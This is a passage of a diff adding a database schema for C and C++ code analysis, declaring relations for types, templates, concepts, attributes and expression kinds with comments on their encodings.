+derivedtypes( + unique int id: @derivedtype, + string name: string ref, + int kind: int ref, + int type_id: @type ref +); + +pointerishsize(unique int id: @derivedtype ref, + int size: int ref, + int alignment: int ref); + +arraysizes( + unique int id: @derivedtype ref, + int num_elements: int ref, + int bytesize: int ref, + int alignment: int ref +); + +typedefbase( + unique int id: @usertype ref, + int type_id: @type ref +); + +/** + * An instance of the C++11 `decltype` operator or C23 `typeof`/`typeof_unqual` + * operator taking an expression as its argument. For example: + * ``` + * int a; + * decltype(1+a) b; + * typeof(1+a) c; + * ``` + * Here `expr` is `1+a`. + * + * Sometimes an additional pair of parentheses around the expression + * changes the semantics of the decltype, e.g. + * ``` + * struct A { double x; }; + * const A* a = new A(); + * decltype( a->x ); // type is double + * decltype((a->x)); // type is const double& + * ``` + * (Please consult the C++11 standard for more details). + * `parentheses_would_change_meaning` is `true` iff that is the case. + */ + +/* +case @decltype.kind of +| 0 = @decltype +| 1 = @typeof // The frontend does not differentiate between typeof and typeof_unqual +; +*/ + +#keyset[id, expr] +decltypes( + int id: @decltype, + int expr: @expr ref, + int kind: int ref, + int base_type: @type ref, + boolean parentheses_would_change_meaning: boolean ref +); + +/* +case @type_operator.kind of +| 0 = @typeof // The frontend does not differentiate between typeof and typeof_unqual +| 1 = @underlying_type +| 2 = @bases +| 3 = @direct_bases +| 4 = @add_lvalue_reference +| 5 = @add_pointer +| 6 = @add_rvalue_reference +| 7 = @decay +| 8 = @make_signed +| 9 = @make_unsigned +| 10 = @remove_all_extents +| 11 = @remove_const +| 12 = @remove_cv +| 13 = @remove_cvref +| 14 = @remove_extent +| 15 = @remove_pointer +| 16 = @remove_reference_t +| 17 = @remove_restrict +| 18 = @remove_volatile +| 19 = @remove_reference +; +*/ + +type_operators( + unique int id: @type_operator, + int arg_type: @type ref, + int kind: int ref, + int base_type: @type ref +) + +/* +case @usertype.kind of +| 0 = @unknown_usertype +| 1 = @struct +| 2 = @class +| 3 = @union +| 4 = @enum +// ... 5 = @typedef deprecated // classic C: typedef typedef type name +// ... 6 = @template deprecated +| 7 = @template_parameter +| 8 = @template_template_parameter +| 9 = @proxy_class // a proxy class associated with a template parameter +// ... 10 objc_class deprecated +// ... 11 objc_protocol deprecated +// ... 12 objc_category deprecated +| 13 = @scoped_enum +// ... 14 = @using_alias deprecated // a using name = type style typedef +| 15 = @template_struct +| 16 = @template_class +| 17 = @template_union +| 18 = @alias +; +*/ + +usertypes( + unique int id: @usertype, + string name: string ref, + int kind: int ref +); + +usertypesize( + unique int id: @usertype ref, + int size: int ref, + int alignment: int ref +); + +usertype_final(unique int id: @usertype ref); + +usertype_uuid( + unique int id: @usertype ref, + string uuid: string ref +); + +/* +case @usertype.alias_kind of +| 0 = @typedef +| 1 = @alias +*/ + +usertype_alias_kind( + int id: @usertype ref, + int alias_kind: int ref +) + +nontype_template_parameters( + int id: @expr ref +); + +type_template_type_constraint( + int id: @usertype ref, + int constraint: @expr ref +); + +mangled_name( + unique int id: @declaration ref, + int mangled_name : @mangledname, + boolean is_complete: boolean ref +); + +is_pod_class(unique int id: @usertype ref); +is_standard_layout_class(unique int id: @usertype ref); + +is_complete(unique int id: @usertype ref); + +is_class_template(unique int id: @usertype ref); +class_instantiation( + int to: @usertype ref, + int from: @usertype ref +); +class_template_argument( + int type_id: @usertype ref, + int index: int ref, + int arg_type: @type ref +); +class_template_argument_value( + int type_id: @usertype ref, + int index: int ref, + int arg_value: @expr ref +); + +@user_or_decltype = @usertype | @decltype; + +is_proxy_class_for( + unique int id: @usertype ref, + int templ_param_id: @user_or_decltype ref +); + +type_mentions( + unique int id: @type_mention, + int type_id: @type ref, + int location: @location ref, + // a_symbol_reference_kind from the frontend. + int kind: int ref +); + +is_function_template(unique int id: @function ref); +function_instantiation( + unique int to: @function ref, + int from: @function ref +); +function_template_argument( + int function_id: @function ref, + int index: int ref, + int arg_type: @type ref +); +function_template_argument_value( + int function_id: @function ref, + int index: int ref, + int arg_value: @expr ref +); + +is_variable_template(unique int id: @variable ref); +variable_instantiation( + unique int to: @variable ref, + int from: @variable ref +); +variable_template_argument( + int variable_id: @variable ref, + int index: int ref, + int arg_type: @type ref +); +variable_template_argument_value( + int variable_id: @variable ref, + int index: int ref, + int arg_value: @expr ref +); + +template_template_instantiation( + int to: @usertype ref, + int from: @usertype ref +); +template_template_argument( + int type_id: @usertype ref, + int index: int ref, + int arg_type: @type ref +); +template_template_argument_value( + int type_id: @usertype ref, + int index: int ref, + int arg_value: @expr ref +); + +@concept = @concept_template | @concept_id; + +concept_templates( + unique int concept_id: @concept_template, + string name: string ref, + int location: @location_default ref +); +concept_instantiation( + unique int to: @concept_id ref, + int from: @concept_template ref +); +is_type_constraint(int concept_id: @concept_id ref); +concept_template_argument( + int concept_id: @concept ref, + int index: int ref, + int arg_type: @type ref +); +concept_template_argument_value( + int concept_id: @concept ref, + int index: int ref, + int arg_value: @expr ref +); + +routinetypes( + unique int id: @routinetype, + int return_type: @type ref +); + +routinetypeargs( + int routine: @routinetype ref, + int index: int ref, + int type_id: @type ref +); + +ptrtomembers( + unique int id: @ptrtomember, + int type_id: @type ref, + int class_id: @type ref +); + +/* + specifiers for types, functions, and variables + + "public", + "protected", + "private", + + "const", + "volatile", + "static", + + "pure", + "virtual", + "sealed", // Microsoft + "__interface", // Microsoft + "inline", + "explicit", + + "near", // near far extension + "far", // near far extension + "__ptr32", // Microsoft + "__ptr64", // Microsoft + "__sptr", // Microsoft + "__uptr", // Microsoft + "dllimport", // Microsoft + "dllexport", // Microsoft + "thread", // Microsoft + "naked", // Microsoft + "microsoft_inline", // Microsoft + "forceinline", // Microsoft + "selectany", // Microsoft + "nothrow", // Microsoft + "novtable", // Microsoft + "noreturn", // Microsoft + "noinline", // Microsoft + "noalias", // Microsoft + "restrict", // Microsoft +*/ + +specifiers( + unique int id: @specifier, + unique string str: string ref +); + +typespecifiers( + int type_id: @type ref, + int spec_id: @specifier ref +); + +funspecifiers( + int func_id: @function ref, + int spec_id: @specifier ref +); + +varspecifiers( + int var_id: @accessible ref, + int spec_id: @specifier ref +); + +explicit_specifier_exprs( + unique int func_id: @function ref, + int constant: @expr ref +) + +attributes( + unique int id: @attribute, + int kind: int ref, + string name: string ref, + string name_space: string ref, + int location: @location_default ref +); + +case @attribute.kind of + 0 = @gnuattribute +| 1 = @stdattribute +| 2 = @declspec +| 3 = @msattribute +| 4 = @alignas +// ... 5 @objc_propertyattribute deprecated +; + +attribute_args( + unique int id: @attribute_arg, + int kind: int ref, + int attribute: @attribute ref, + int index: int ref, + int location: @location_default ref +); + +case @attribute_arg.kind of + 0 = @attribute_arg_empty +| 1 = @attribute_arg_token +| 2 = @attribute_arg_constant +| 3 = @attribute_arg_type +| 4 = @attribute_arg_constant_expr +| 5 = @attribute_arg_expr +; + +attribute_arg_value( + unique int arg: @attribute_arg ref, + string value: string ref +); +attribute_arg_type( + unique int arg: @attribute_arg ref, + int type_id: @type ref +); +attribute_arg_constant( + unique int arg: @attribute_arg ref, + int constant: @expr ref +) +attribute_arg_expr( + unique int arg: @attribute_arg ref, + int expr: @expr ref +) +attribute_arg_name( + unique int arg: @attribute_arg ref, + string name: string ref +); + +typeattributes( + int type_id: @type ref, + int spec_id: @attribute ref +); + +funcattributes( + int func_id: @function ref, + int spec_id: @attribute ref +); + +varattributes( + int var_id: @accessible ref, + int spec_id: @attribute ref +); + +stmtattributes( + int stmt_id: @stmt ref, + int spec_id: @attribute ref +); + +@type = @builtintype + | @derivedtype + | @usertype + | @routinetype + | @ptrtomember + | @decltype + | @type_operator; + +unspecifiedtype( + unique int type_id: @type ref, + int unspecified_type_id: @type ref +); + +member( + int parent: @type ref, + int index: int ref, + int child: @member ref +); + +@enclosingfunction_child = @usertype | @variable | @namespace + +enclosingfunction( + unique int child: @enclosingfunction_child ref, + int parent: @function ref +); + +derivations( + unique int derivation: @derivation, + int sub: @type ref, + int index: int ref, + int super: @type ref, + int location: @location_default ref +); + +derspecifiers( + int der_id: @derivation ref, + int spec_id: @specifier ref +); + +/** + * Contains the byte offset of the base class subobject within the derived + * class. Only holds for non-virtual base classes, but see table + * `virtual_base_offsets` for offsets of virtual base class subobjects. + */ +direct_base_offsets( + unique int der_id: @derivation ref, + int offset: int ref +); + +/** + * Contains the byte offset of the virtual base class subobject for class + * `super` within a most-derived object of class `sub`. `super` can be either a + * direct or indirect base class. + */ +#keyset[sub, super] +virtual_base_offsets( + int sub: @usertype ref, + int super: @usertype ref, + int offset: int ref +); + +frienddecls( + unique int id: @frienddecl, + int type_id: @type ref, + int decl_id: @declaration ref, + int location: @location_default ref +); + +@declaredtype = @usertype ; + +@declaration = @function + | @declaredtype + | @variable + | @enumconstant + | @frienddecl + | @concept_template; + +@member = @membervariable + | @function + | @declaredtype + | @enumconstant; + +@locatable = @diagnostic + | @declaration + | @ppd_include + | @ppd_define + | @macroinvocation + /*| @funcall*/ + | @xmllocatable + | @attribute + | @attribute_arg; + +@namedscope = @namespace | @usertype; + +@element = @locatable + | @file + | @folder + | @specifier + | @type + | @expr + | @namespace + | @initialiser + | @stmt + | @derivation + | @comment + | @preprocdirect + | @fun_decl + | @var_decl + | @type_decl + | @namespace_decl + | @using + | @namequalifier + | @specialnamequalifyingelement + | @static_assert + | @type_mention + | @lambdacapture; + +@exprparent = @element; + +comments( + unique int id: @comment, + string contents: string ref, + int location: @location_default ref +); + +commentbinding( + int id: @comment ref, + int element: @element ref +); + +exprconv( + int converted: @expr ref, + unique int conversion: @expr ref +); + +compgenerated(unique int id: @element ref); + +/** + * `destructor_call` destructs the `i`'th entity that should be + * destructed following `element`. Note that entities should be + * destructed in reverse construction order, so for a given `element` + * these should be called from highest to lowest `i`. + */ +#keyset[element, destructor_call] +#keyset[element, i] +synthetic_destructor_call( + int element: @element ref, + int i: int ref, + int destructor_call: @routineexpr ref +); + +namespaces( + unique int id: @namespace, + string name: string ref +); + +namespace_inline( + unique int id: @namespace ref +); + +namespacembrs( + int parentid: @namespace ref, + unique int memberid: @namespacembr ref +); + +@namespacembr = @declaration | @namespace; + +exprparents( + int expr_id: @expr ref, + int child_index: int ref, + int parent_id: @exprparent ref +); + +expr_isload(unique int expr_id: @expr ref); + +@cast = @c_style_cast + | @const_cast + | @dynamic_cast + | @reinterpret_cast + | @static_cast + ; + +/* +case @conversion.kind of + 0 = @simple_conversion // a numeric conversion, qualification conversion, or a reinterpret_cast +| 1 = @bool_conversion // conversion to 'bool' +| 2 = @base_class_conversion // a derived-to-base conversion +| 3 = @derived_class_conversion // a base-to-derived conversion +| 4 = @pm_base_class_conversion // a derived-to-base conversion of a pointer to member +| 5 = @pm_derived_class_conversion // a base-to-derived conversion of a pointer to member +| 6 = @glvalue_adjust // an adjustment of the type of a glvalue +| 7 = @prvalue_adjust // an adjustment of the type of a prvalue +; +*/ +/** + * Describes the semantics represented by a cast expression. This is largely + * independent of the source syntax of the cast, so it is separate from the + * regular expression kind. + */ +conversionkinds( + unique int expr_id: @cast ref, + int kind: int ref +); + +@conversion = @cast + | @array_to_pointer + | @parexpr + | @reference_to + | @ref_indirect + | @temp_init + | @c11_generic + ; + +/* +case @funbindexpr.kind of + 0 = @normal_call // a normal call +| 1 = @virtual_call // a virtual call +| 2 = @adl_call // a call whose target is only found by ADL +; +*/ +iscall( + unique int caller: @funbindexpr ref, + int kind: int ref +); + +numtemplatearguments( + unique int expr_id: @expr ref, + int num: int ref +); + +specialnamequalifyingelements( + unique int id: @specialnamequalifyingelement, + unique string name: string ref +); + +@namequalifiableelement = @expr | @namequalifier; +@namequalifyingelement = @namespace + | @specialnamequalifyingelement + | @usertype; + +namequalifiers( + unique int id: @namequalifier, + unique int qualifiableelement: @namequalifiableelement ref, + int qualifyingelement: @namequalifyingelement ref, + int location: @location_default ref +); + +varbind( + int expr: @varbindexpr ref, + int var: @accessible ref +); + +funbind( + int expr: @funbindexpr ref, + int fun: @function ref +); + +@any_new_expr = @new_expr + | @new_array_expr; + +@new_or_delete_expr = @any_new_expr + | @delete_expr + | @delete_array_expr; + +@prefix_crement_expr = @preincrexpr | @predecrexpr; + +@postfix_crement_expr = @postincrexpr | @postdecrexpr; + +@increment_expr = @preincrexpr | @postincrexpr; + +@decrement_expr = @predecrexpr | @postdecrexpr; + +@crement_expr = @increment_expr | @decrement_expr; + +@un_arith_op_expr = @arithnegexpr + | @unaryplusexpr + | @conjugation + | @realpartexpr + | @imagpartexpr + | @crement_expr + ; + +@un_bitwise_op_expr = @complementexpr; + +@un_log_op_expr = @notexpr; + +@un_op_expr = @address_of + | @indirect + | @un_arith_op_expr + | @un_bitwise_op_expr + | @builtinaddressof + | @vec_fill + | @un_log_op_expr + | @co_await + | @co_yield + ; + +@bin_log_op_expr = @andlogicalexpr | @orlogicalexpr; + +@cmp_op_expr = @eq_op_expr | @rel_op_expr; + +@eq_op_expr = @eqexpr | @neexpr; + +@rel_op_expr = @gtexpr + | @ltexpr + | @geexpr + | @leexpr + | @spaceshipexpr + ; + +@bin_bitwise_op_expr = @lshiftexpr + | @rshiftexpr + | @andexpr + | @orexpr + | @xorexpr + ; + +@p_arith_op_expr = @paddexpr + | @psubexpr + | @pdiffexpr + ; + +@bin_arith_op_expr = @addexpr + | @subexpr + | @mulexpr + | @divexpr + | @remexpr + | @jmulexpr + | @jdivexpr + | @fjaddexpr + | @jfaddexpr + | @fjsubexpr + | @jfsubexpr + | @minexpr + | @maxexpr + | @p_arith_op_expr + ; + +@bin_op_expr = @bin_arith_op_expr + | @bin_bitwise_op_expr + | @cmp_op_expr + | @bin_log_op_expr + ; + +@op_expr = @un_op_expr + | @bin_op_expr + | @assign_expr + | @conditionalexpr + ; + +@assign_arith_expr = @assignaddexpr + | @assignsubexpr + | @assignmulexpr + | @assigndivexpr + | @assignremexpr + ; + +@assign_bitwise_expr = @assignandexpr + | @assignorexpr + | @assignxorexpr + | @assignlshiftexpr + | @assignrshiftexpr + ; + +@assign_pointer_expr = @assignpaddexpr + | @assignpsubexpr + ; + +@assign_op_expr = @assign_arith_expr + | @assign_bitwise_expr + | @assign_pointer_expr + ; + +@assign_expr = @assignexpr | @assign_op_expr | @blockassignexpr + +/* + Binary encoding of the allocator form. + + case @allocator.form of + 0 = plain + | 1 = alignment + ; +*/ + +/** + * The allocator function associated with a `new` or `new[]` expression. + * The `form` column specified whether the allocation call contains an alignment + * argument. + */ +expr_allocator( + unique int expr: @any_new_expr ref, + int func: @function ref, + int form: int ref +); + +/* + Binary encoding of the deallocator form. + + case @deallocator.form of + 0 = plain + | 1 = size + | 2 = alignment + | 4 = destroying_delete + ; +*/ + +/** + * The deallocator function associated with a `delete`, `delete[]`, `new`, or + * `new[]` expression. For a `new` or `new[]` expression, the deallocator is the + * one used to free memory if the initialization throws an exception. + * The `form` column specifies whether the deallocation call contains a size + * argument, and alignment argument, or both. + */ +expr_deallocator( + unique int expr: @new_or_delete_expr ref, + int func: @function ref, + int form: int ref +); + +/** + * Holds if the `@conditionalexpr` is of the two operand form + * `guard ? : false`. + */ +expr_cond_two_operand( + unique int cond: @conditionalexpr ref +); + +/** + * The guard of `@conditionalexpr` `guard ? true : false` + */ +expr_cond_guard( + unique int cond: @conditionalexpr ref, + int guard: @expr ref +); + +/** + * The expression used when the guard of `@conditionalexpr` + * `guard ? true : false` holds. For the two operand form + * `guard ?: false` consider using `expr_cond_guard` instead. + */ +expr_cond_true( + unique int cond: @conditionalexpr ref, + int true: @expr ref +); + +/** + * The expression used when the guard of `@conditionalexpr` + * `guard ? true : false` does not hold. + */ +expr_cond_false( + unique int cond: @conditionalexpr ref, + int false: @expr ref +); + +/** A string representation of the value. */ +values( + unique int id: @value, + string str: string ref +); + +/** The actual text in the source code for the value, if any. */ +valuetext( + unique int id: @value ref, + string text: string ref +); + +valuebind( + int val: @value ref, + unique int expr: @expr ref +); + +fieldoffsets( + unique int id: @variable ref, + int byteoffset: int ref, + int bitoffset: int ref +); + +bitfield( + unique int id: @variable ref, + int bits: int ref, + int declared_bits: int ref +); + +/* TODO +memberprefix( + int member: @expr ref, + int prefix: @expr ref +); +*/ + +/* + kind(1) = mbrcallexpr + kind(2) = mbrptrcallexpr + kind(3) = mbrptrmbrcallexpr + kind(4) = ptrmbrptrmbrcallexpr + kind(5) = mbrreadexpr // x.y + kind(6) = mbrptrreadexpr // p->y + kind(7) = mbrptrmbrreadexpr // x.*pm + kind(8) = mbrptrmbrptrreadexpr // x->*pm + kind(9) = staticmbrreadexpr // static x.y + kind(10) = staticmbrptrreadexpr // static p->y +*/ +/* TODO +memberaccess( + int member: @expr ref, + int kind: int ref +); +*/ + +initialisers( + unique int init: @initialiser, + int var: @accessible ref, + unique int expr: @expr ref, + int location: @location_expr ref +); + +braced_initialisers( + int init: @initialiser ref +); + +/** + * An ancestor for the expression, for cases in which we cannot + * otherwise find the expression's parent. + */ +expr_ancestor( + int exp: @expr ref, + int ancestor: @element ref +); + +exprs( + unique int id: @expr, + int kind: int ref, + int location: @location_expr ref +); + +expr_reuse( + int reuse: @expr ref, + int original: @expr ref, + int value_category: int ref +) + +/* + case @value.category of + 1 = prval + | 2 = xval + | 3 = lval + ; +*/ +expr_types( + int id: @expr ref, + int typeid: @type ref, + int value_category: int ref +); + +case @expr.kind of + 1 = @errorexpr +| 2 = @address_of // & AddressOfExpr +| 3 = @reference_to // ReferenceToExpr (implicit?) +| 4 = @indirect // * PointerDereferenceExpr +| 5 = @ref_indirect // ReferenceDereferenceExpr (implicit?) +// ... +| 8 = @array_to_pointer // (???) +| 9 = @vacuous_destructor_call // VacuousDestructorCall +// ... +| 11 = @assume // Microsoft +| 12 = @parexpr +| 13 = @arithnegexpr +| 14 = @unaryplusexpr +| 15 = @complementexpr +| 16 = @notexpr +| 17 = @conjugation // GNU ~ operator +| 18 = @realpartexpr // GNU __real +| 19 = @imagpartexpr // GNU __imag +| 20 = @postincrexpr +| 21 = @postdecrexpr +| 22 = @preincrexpr +| 23 = @predecrexpr +| 24 = @conditionalexpr +| 25 = @addexpr +| 26 = @subexpr +| 27 = @mulexpr +| 28 = @divexpr +| 29 = @remexpr +| 30 = @jmulexpr // C99 mul imaginary +| 31 = @jdivexpr // C99 div imaginary +| 32 = @fjaddexpr // C99 add real + imaginary +| 33 = @jfaddexpr // C99 add imaginary + real +| 34 = @fjsubexpr // C99 sub real - imaginary +| 35 = @jfsubexpr // C99 sub imaginary - real +| 36 = @paddexpr // pointer add (pointer + int or int + pointer) +| 37 = @psubexpr // pointer sub (pointer - integer) +| 38 = @pdiffexpr // difference between two pointers +| 39 = @lshiftexpr +| 40 = @rshiftexpr +| 41 = @andexpr +| 42 = @orexpr +| 43 = @xorexpr +| 44 = @eqexpr +| 45 = @neexpr +| 46 = @gtexpr +| 47 = @ltexpr +| 48 = @geexpr +| 49 = @leexpr +| 50 = @minexpr // GNU minimum +| 51 = @maxexpr // GNU maximum +| 52 = @assignexpr +| 53 = @assignaddexpr +| 54 = @assignsubexpr +| 55 = @assignmulexpr +| 56 = @assigndivexpr +| 57 = @assignremexpr +| 58 = @assignlshiftexpr +| 59 = @assignrshiftexpr +| 60 = @assignandexpr +| 61 = @assignorexpr +| 62 = @assignxorexpr +| 63 = @assignpaddexpr // assign pointer add +| 64 = @assignpsubexpr // assign pointer sub +| 65 = @andlogicalexpr +| 66 = @orlogicalexpr +| 67 = @commaexpr +| 68 = @subscriptexpr // access to member of an array, e.g., a[5] +// ... 69 @objc_subscriptexpr deprecated +// ... 70 @cmdaccess deprecated +// ... +| 73 = @virtfunptrexpr +| 74 = @callexpr +// ... 75 @msgexpr_normal deprecated +// ... 76 @msgexpr_super deprecated +// ... 77 @atselectorexpr deprecated +// ... 78 @atprotocolexpr deprecated +| 79 = @vastartexpr +| 80 = @vaargexpr +| 81 = @vaendexpr +| 82 = @vacopyexpr +// ... 83 @atencodeexpr deprecated +| 84 = @varaccess +| 85 = @thisaccess +// ... 86 @objc_box_expr deprecated +| 87 = @new_expr +| 88 = @delete_expr +| 89 = @throw_expr +| 90 = @condition_decl // a variable declared in a condition, e.g., if(int x = y > 2) +| 91 = @braced_init_list +| 92 = @type_id +| 93 = @runtime_sizeof +| 94 = @runtime_alignof +| 95 = @sizeof_pack +| 96 = @expr_stmt // GNU extension +| 97 = @routineexpr +| 98 = @type_operand // used to access a type in certain contexts (haven't found any examples yet....) +| 99 = @offsetofexpr // offsetof ::= type and field +| 100 = @hasassignexpr // __has_assign ::= type +| 101 = @hascopyexpr // __has_copy ::= type +| 102 = @hasnothrowassign // __has_nothrow_assign ::= type +| 103 = @hasnothrowconstr // __has_nothrow_constructor ::= type +| 104 = @hasnothrowcopy // __has_nothrow_copy ::= type +| 105 = @hastrivialassign // __has_trivial_assign ::= type +| 106 = @hastrivialconstr // __has_trivial_constructor ::= type +| 107 = @hastrivialcopy // __has_trivial_copy ::= type +| 108 = @hasuserdestr // __has_user_destructor ::= type +| 109 = @hasvirtualdestr // __has_virtual_destructor ::= type +| 110 = @isabstractexpr // __is_abstract ::= type +| 111 = @isbaseofexpr // __is_base_of ::= type type +| 112 = @isclassexpr // __is_class ::= type +| 113 = @isconvtoexpr // __is_convertible_to ::= type type +| 114 = @isemptyexpr // __is_empty ::= type +| 115 = @isenumexpr // __is_enum ::= type +| 116 = @ispodexpr // __is_pod ::= type +| 117 = @ispolyexpr // __is_polymorphic ::= type +| 118 = @isunionexpr // __is_union ::= type +| 119 = @typescompexpr // GNU __builtin_types_compatible ::= type type +| 120 = @intaddrexpr // frontend internal builtin, used to implement offsetof +// ... +| 122 = @hastrivialdestructor // __has_trivial_destructor ::= type +| 123 = @literal +| 124 = @uuidof +| 127 = @aggregateliteral +| 128 = @delete_array_expr +| 129 = @new_array_expr +// ... 130 @objc_array_literal deprecated +// ... 131 @objc_dictionary_literal deprecated +| 132 = @foldexpr +// ... +| 200 = @ctordirectinit +| 201 = @ctorvirtualinit +| 202 = @ctorfieldinit +| 203 = @ctordelegatinginit +| 204 = @dtordirectdestruct +| 205 = @dtorvirtualdestruct +| 206 = @dtorfielddestruct +// ... +| 210 = @static_cast +| 211 = @reinterpret_cast +| 212 = @const_cast +| 213 = @dynamic_cast +| 214 = @c_style_cast +| 215 = @lambdaexpr +| 216 = @param_ref +| 217 = @noopexpr +// ... +| 294 = @istriviallyconstructibleexpr +| 295 = @isdestructibleexpr +| 296 = @isnothrowdestructibleexpr +| 297 = @istriviallydestructibleexpr +| 298 = @istriviallyassignableexpr +| 299 = @isnothrowassignableexpr +| 300 = @istrivialexpr +| 301 = @isstandardlayoutexpr +| 302 = @istriviallycopyableexpr +| 303 = @isliteraltypeexpr +| 304 = @hastrivialmoveconstructorexpr +| 305 = @hastrivialmoveassignexpr +| 306 = @hasnothrowmoveassignexpr +| 307 = @isconstructibleexpr +| 308 = @isnothrowconstructibleexpr +| 309 = @hasfinalizerexpr +| 310 = @isdelegateexpr +| 311 = @isinterfaceclassexpr +| 312 = @isrefarrayexpr +| 313 = @isrefclassexpr +| 314 = @issealedexpr +| 315 = @issimplevalueclassexpr +| 316 = @isvalueclassexpr +| 317 = @isfinalexpr +| 319 = @noexceptexpr +| 320 = @builtinshufflevector +| 321 = @builtinchooseexpr +| 322 = @builtinaddressof +| 323 = @vec_fill +| 324 = @builtinconvertvector +| 325 = @builtincomplex +| 326 = @spaceshipexpr +| 327 = @co_await +| 328 = @co_yield +| 329 = @temp_init +| 330 = @isassignable +| 331 = @isaggregate +| 332 = @hasuniqueobjectrepresentations +| 333 = @builtinbitcast +| 334 = @builtinshuffle +| 335 = @blockassignexpr +| 336 = @issame +| 337 = @isfunction +| 338 = @islayoutcompatible +| 339 = @ispointerinterconvertiblebaseof +| 340 = @isarray +| 341 = @arrayrank +| 342 = @arrayextent +| 343 = @isarithmetic +| 344 = @iscompletetype +| 345 = @iscompound +| 346 = @isconst +| 347 = @isfloatingpoint +| 348 = @isfundamental +| 349 = @isintegral +| 350 = @islvaluereference +| 351 = @ismemberfunctionpointer +| 352 = @ismemberobjectpointer +| 353 = @ismemberpointer +| 354 = @isobject +| 355 = @ispointer +| 356 = @isreference +| 357 = @isrvaluereference +| 358 = @isscalar +| 359 = @issigned +| 360 = @isunsigned +| 361 = @isvoid +| 362 = @isvolatile +| 363 = @reuseexpr +| 364 = @istriviallycopyassignable +| 365 = @isassignablenopreconditioncheck +| 366 = @referencebindstotemporary +| 367 = @issameas +| 368 = @builtinhasattribute +| 369 = @ispointerinterconvertiblewithclass +| 370 = @builtinispointerinterconvertiblewithclass +| 371 = @iscorrespondingmember +| 372 = @builtiniscorrespondingmember +| 373 = @isboundedarray +| 374 = @isunboundedarray +| 375 = @isreferenceable +| 378 = @isnothrowconvertible +| 379 = @referenceconstructsfromtemporary +| 380 = @referenceconvertsfromtemporary +| 381 = @isconvertible +| 382 = @isvalidwinrttype +| 383 = @iswinclass +| 384 = @iswininterface +| 385 = @istriviallyequalitycomparable +| 386 = @isscopedenum +| 387 = @istriviallyrelocatable +| 388 = @datasizeof +| 389 = @c11_generic +| 390 = @requires_expr +| 391 = @nested_requirement +| 392 = @compound_requirement +| 393 = @concept_id +; + +@var_args_expr = @vastartexpr + | @vaendexpr + | @vaargexpr + | @vacopyexpr + ; + +@builtin_op = @var_args_expr + | @noopexpr + | @offsetofexpr + | @intaddrexpr + | @hasassignexpr + | @hascopyexpr + | @hasnothrowassign + | @hasnothrowconstr + | @hasnothrowcopy + | @hastrivialassign + | @hastrivialconstr + | @hastrivialcopy + | @hastrivialdestructor + | @hasuserdestr + | @hasvirtualdestr + | @isabstractexpr + | @isbaseofexpr + | @isclassexpr + | @isconvtoexpr + | @isemptyexpr + | @isenumexpr + | @ispodexpr + | @ispolyexpr + | @isunionexpr + | @typescompexpr + | @builtinshufflevector + | @builtinconvertvector + | @builtinaddressof + | @istriviallyconstructibleexpr + | @isdestructibleexpr + | @isnothrowdestructibleexpr + | @istriviallydestructibleexpr + | @istriviallyassignableexpr + | @isnothrowassignableexpr + | @istrivialexpr + | @isstandardlayoutexpr + | @istriviallycopyableexpr + | @isliteraltypeexpr + | @hastrivialmoveconstructorexpr + | @hastrivialmoveassignexpr + | @hasnothrowmoveassignexpr + | @isconstructibleexpr + | @isnothrowconstructibleexpr + | @hasfinalizerexpr + | @isdelegateexpr + | @isinterfaceclassexpr + | @isrefarrayexpr + | @isrefclassexpr + | @issealedexpr + | @issimplevalueclassexpr + | @isvalueclassexpr + | @isfinalexpr + | @builtinchooseexpr + | @builtincomplex + | @isassignable + | @isaggregate + | @hasuniqueobjectrepresentations + | @builtinbitcast + | @builtinshuffle + | @issame + | @isfunction + | @islayoutcompatible + | @ispointerinterconvertiblebaseof + | @isarray + | @arrayrank + | @arrayextent + | @isarithmetic + | @iscompletetype + | @iscompound + | @isconst + | @isfloatingpoint + | @isfundamental + | @isintegral + | @islvaluereference + | @ismemberfunctionpointer + | @ismemberobjectpointer + | @ismemberpointer + | @isobject + | @ispointer + | @isreference + | @isrvaluereference + | @isscalar + | @issigned + | @isunsigned + | @isvoid + | @isvolatile + | @istriviallycopyassignable + | @isassignablenopreconditioncheck + | @referencebindstotemporary + | @issameas + | @builtinhasattribute + | @ispointerinterconvertiblewithclass + | @builtinispointerinterconvertiblewithclass + | @iscorrespondingmember + | @builtiniscorrespondingmember + | @isboundedarray + | @isunboundedarray + | @isreferenceable + | @isnothrowconvertible + | @referenceconstructsfromtemporary + | @referenceconvertsfromtemporary + | @isconvertible + | @isvalidwinrttype + | @iswinclass + | @iswininterface + | @istriviallyequalitycomparable + | @isscopedenum + | @istriviallyrelocatable + ; + +compound_requirement_is_noexcept( + int expr: @compound_requirement ref +); + +new_allocated_type( + unique int expr: @new_expr ref, + int type_id: @type ref +); + +new_array_allocated_type( + unique int expr: @new_array_expr ref, + int type_id: @type ref +); + +/** + * The field being initialized by an initializer expression within an aggregate + * initializer for a class/struct/union. Position is used to sort repeated initializers. + */ +#keyset[aggregate, position] +aggregate_field_init( + int aggregate: @aggregateliteral ref, + int initializer: @expr ref, + int field: @membervariable ref, + int position: int ref, + boolean is_designated: boolean ref +); + +/** + * The index of the element being initialized by an initializer expression + * within an aggregate initializer for an array. Position is used to sort repeated initializers. + */ +#keyset[aggregate, position] +aggregate_array_init( + int aggregate: @aggregateliteral ref, + int initializer: @expr ref, + int element_index: int ref, + int position: int ref, + boolean is_designated: boolean ref +); + +@ctorinit = @ctordirectinit + | @ctorvirtualinit + | @ctorfieldinit + | @ctordelegatinginit; +@dtordestruct = @dtordirectdestruct + | @dtorvirtualdestruct + | @dtorfielddestruct; + + +condition_decl_bind( + unique int expr: @condition_decl ref, + unique int decl: @declaration ref +); + +typeid_bind( + unique int expr: @type_id ref, + int type_id: @type ref +); + +uuidof_bind( + unique int expr: @uuidof ref, + int type_id: @type ref +); + +@sizeof_or_alignof = @runtime_sizeof | @runtime_alignof | @datasizeof | @sizeof_pack; + +sizeof_bind( + unique int expr: @sizeof_or_alignof ref, + int type_id: @type ref +); + +code_block( + unique int block: @literal ref, + unique int routine: @function ref +); + +lambdas( + unique int expr: @lambdaexpr ref, + string default_capture: string ref, + boolean has_explicit_return_type: boolean ref, + boolean has_explicit_parameter_list: boolean ref +); + +lambda_capture( + unique int id: @lambdacapture, + int lambda: @lambdaexpr ref, + int index: int ref, + int field: @membervariable ref, + boolean captured_by_reference: boolean ref, + boolean is_implicit: boolean ref, + int location: @location_default ref +); + +@funbindexpr = @routineexpr + | @new_expr + | @delete_expr + | @delete_array_expr + | @ctordirectinit + | @ctorvirtualinit + | @ctordelegatinginit + | @dtordirectdestruct + | @dtorvirtualdestruct; + +@varbindexpr = @varaccess | @ctorfieldinit | @dtorfielddestruct; +@addressable = @function | @variable ; +@accessible = @addressable | @enumconstant ; + +@access = @varaccess | 